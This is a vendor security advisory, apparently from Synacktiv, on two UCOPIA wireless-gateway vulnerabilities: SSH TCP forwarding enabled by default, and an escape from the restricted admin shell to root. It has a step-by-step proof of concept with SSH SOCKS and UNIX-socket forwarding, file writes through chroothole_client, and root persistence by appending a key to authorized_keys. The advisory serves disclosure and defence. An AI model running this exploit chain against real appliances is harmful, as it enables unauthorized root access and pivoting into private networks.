SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in UCOPIA <= 6.0.7 CVE-2022-44719 / CVE-2022-44720

Security advisory

2023-06-26

Jean Bonnevie
Paul Barbé

Vulnerabilities description

Presentation of UCOPIA

The Ucopia appliance aims to provide a management solution for corporate wireless networks. This solution acts as a gateway and controller between end-users and private networks. User authentication can typically be performed using a captive portal or 802.1x.

The issue

The vulnerabilities discribed in this report have been identified during a security assessment of the platform.

Two vulnerabilities were discovered:

- CVE-2022-44719: The SSH server listens on all interfaces and TCP forwarding is enabled by default.
- CVE-2022-44720: The confined shell provided to the *admin* user through an SSH connection can be escaped to a non chrooted *root* shell.

Affected versions

Version 6.0.7 (build 18010107) is vulnerable and anterior versions are likely to be vulnerable.

Timeline

Date	Action
2022-10-07	Advisory sent to Weblib
2022-10-27	Weblib acknowledges the advisory
2022-11-04	CVE-2022-44719 and CVE-2022-44720 assigned
2023-03-22	Patched version 7.0.0 released
2023-05-30	Patched version 6.0.13 released
2023-06-26	Public release

Technical description and proof-of-concept

TCP and UNIX sockets forwarding enabled (CVE-2022-44719)

The SSH service allows performing administrative actions through a restricted shell. However, it is possible to leverage the SSH server as a TCP proxy to access other networks. Because the **AllowTcpForwarding** option is not set in /etc/ssh/sshd_config, the default value **yes** is used.

A SOCKS proxy can be started with the following command:

```
$ ssh -v -D 2626 admin@192.168.200.194
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
Authenticated to 192.168.200.194 ([192.168.200.194]:22).
debug1: Local connections to LOCALHOST:2626 forwarded to remote address socks:0
debug1: Local forwarding listening on ::1 port 2626.
debug1: channel 0: new [port listener]
debug1: Local forwarding listening on 127.0.0.1 port 2626.
debug1: channel 1: new [port listener]
debug1: channel 2: new [client-session]
[...]
***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version     KVM
* Serial number
* License
* Current build        18010107
* Current version      6.0.7
* Last upgrade          -
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** *****

Maintenance tunnel is down
Welcome to the Command Line Interface

Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.

>
```

Then this proxy can be used with tools such as *proxychains* to gain access to different networks or local services:

```
$ nc -z -v 192.168.200.194 3306
nc: connect to 192.168.200.194 port 3306 (tcp) failed: Connection timed out
$ proxychains4 nc 127.0.0.1 3306
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12-git-2-g46647be
[proxychains] Strict chain  ...  127.0.0.1:2626  ...  127.0.0.1:3306  ...  OK
W
5.5.62-0+deb8u1-log.m\c`7/'..!.u;ccFr.+.EPCmysql_native_password
```

Privilege escalation (CVE-2022-44720)

Based on the filesystem accessible publicly on the UCOPIA website[1] (link can be found in the official Quick Start documentation[2]), *clish* is used to restrict the *admin* commands. Futhermore the SSH session is running into a chrooted environment located in */var/chroot/.*

Allowed commands are listed in */usr/share/ucopia/clish/*.xml*. Some of them use a binary named *chroothole_client* to run commands outside the chrooted environment. For example */usr/share/ucopia/clish/summary.xml*:

```
<?xml version="1.0" encoding="UTF-8"?>
<CLISH_MODULE xmlns="http://clish.sourceforge.net/XMLSchema"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://clish.sourceforge.net/XMLSchema
                                  http://clish.sourceforge.net/XMLSchema/clish.xsd">

      <COMMAND name="summary"
             help="Show the controller characteristics summary">
             <ACTION>
                    chroothole_client "/usr/sbin/ucpversion summary"
             </ACTION>
      </COMMAND>
</CLISH_MODULE>
```

chroothole works as a client / server model: the server receives commands from a UNIX socket. The configuration is described in */etc/chroothole/chroothole.conf*:

```
path_server=/var/chroot/tmp/chroothole

/etc/init.d/authserver
[...]
/usr/share/ucopia/tools/troubleshoot.php

# fw
/usr/sbin/fw

# Pour la configuration des interfaces
/sbin/ifconfig
/sbin/dhclient

# Obligatoire pour les commandes reboot et halt
/sbin/reboot
/sbin/halt
```

This configuration contains the UNIX socket's path, and all whitelisted commands (cropped in the previous extract) which can be run using *chroothole_client*.

1 http://update.ucopia.com/production/UCOPIA/VM_ISO/
2 https://www.ucopia.com/wp-content/uploads/2015/10/UCOPIA_QuickStart_VM_20151.pdf

In order to use the *chroothole_client* which is not allowed by *clish*, the UNIX socket needs to be forward to the attacker's host.

```
$ ssh -v -L /tmp/chroothole:/tmp/chroothole admin@192.168.200.194
OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1n  15 Mar 2022
[...]
debug1: Local connections to /tmp/chroothole:-2 forwarded to remote address
/tmp/chroothole:-2
debug1: Local forwarding listening on path /tmp/chroothole.
debug1: channel 0: new [unix listener]
debug1: channel 1: new [client-session]
[...]
***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version     KVM
* Serial number
* License
* Current build        18010107
* Current version      6.0.7
* Last upgrade          -
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** *****

Maintenance tunnel is down
Welcome to the Command Line Interface

Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.

>
```

It is now possible to run *chroothole_client* (extracted from the filesystem) through the UNIX socket forward:

```
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2'
apache2 is running.
```

As a proof of concept, it is possible to write a file to /var/chroot/tmp in order to see it in /tmp/ from the chrooted *clish*. On the attacker's host:

```
$ /mnt/5/chroot/usr/bin/chroothole_client '/usr/sbin/status apache2 >
/var/chroot/tmp/test_redirect'
$
```

Nothing is returned on stdout. On the router, the file is created:

```
> ls /tmp/
total 8
srwxrwxrwx 1 root  root   0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin  7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root  20 Oct  3 15:38 test_redirect
```

A file of size 20 (corresponding to the size of ‘apache2 is running.\n’) appears with *root* ownership, indicating that commands are run as root.

It is possible to redirect the output from an allowed command. By looking the commands whitelist, one binary can be used to output arbitrary string : */usr/bin/expr*[3]. This binary is used to evaluate expressions and can be used to echo a string using:

```
$ expr 'this is a string'
this is a string
```

Therefore, by using it with the *chroot_hole* client:

```
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'This is a string of 29
bytes'>/var/chroot/tmp/test_expr"
$
```

Check on the router:

```
> ls /tmp/
total 12
srwxrwxrwx 1 root  root   0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin  7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root  29 Oct  3 15:54 test_expr
```

The size of 29 bytes demonstrates the successful write.

It is then possible to exploit arbitrary file write to add an SSH public key to the *authorized_keys* file of the *root* user and gain *root* access to the appliance:

```
$ /mnt/5/chroot/usr/bin/chroothole_client "/usr/bin/expr 'ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIJlZyukKlOu4sXRIXaZNeRdYrBYhNVAOIxLZp5vKg9hA' >>
/root/.ssh/authorized_keys"
$ ssh -i ucopia root@192.168.200.194
Linux controller 3.16.0-10-amd64 #1 SMP Debian 3.16.76-1 (2019-11-12) x86_64

***** ***** ***** ***** ***** ***** *****
* Production name
* Hardware version     KVM
* Serial number
* License
* Current build        18010107
* Current version      6.0.7
* Last upgrade          -
* Maintenance validity INVALID
***** ***** ***** ***** ***** ***** *****

Maintenance tunnel is down
root@controller:~# whoami
root
```

3 https://manpages.debian.org/bullseye/coreutils/expr.1.en.html

```
root@controller:~# ls -l /var/chroot/tmp/
total 12
srwxrwxrwx 1 root  root   0 Oct  3 15:34 chroothole
-rw-r--r-- 1 admin admin  7 Sep 16 11:39 tcpdump.bpf
-rw-r----- 1 root  root  29 Oct  3 15:54 test_expr
-rw-r----- 1 root  root  20 Oct  3 15:38 test_redirect

root@controller:~# cat /var/chroot/tmp/test_redirect
apache2 is running.

root@controller:~# cat /var/chroot/tmp/test_expr
This is a string of 29 bytes

root@controller:~# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,relatime,size=10240k,nr_inodes=255152,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205816k,mode=755)
/dev/sda2 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
none on /var/chroot/proc type proc (rw,relatime)
/dev/sda2 on /var/chroot/etc/clish type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[...]

root@controller:~# ls /var/chroot
bin  dev  etc  home  lib  lib64  proc  tmp  usr
```

Impacts

Changing the *admin* password in the web administration interface does not necessarily affect the SSH password if the administrator does not check the corresponding option. Therefore, the latter can easily be left to its defaut value, publicly available in the documentation. Furthermore, by default, the SSH socket is listening on all interfaces, allowing any user with network access to authenticate to the SSH server.

```
> netstat -l y -n y
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
[...]
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
[...]
tcp6       0      0 :::22                   :::*                    LISTEN
[...]
# iptables -nvL
Chain CTRL_ACCESS (1 references)
 pkts bytes target     prot opt in     out     source               destination
[...]
    6   336 CLI_ACCESS  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0
tcp dpt:22
```

Using the discovered vulnerabilities, the Ucopia router can be compromise and used by an attacker for network discovery or to perform harmful actions by exploiting the *root* access.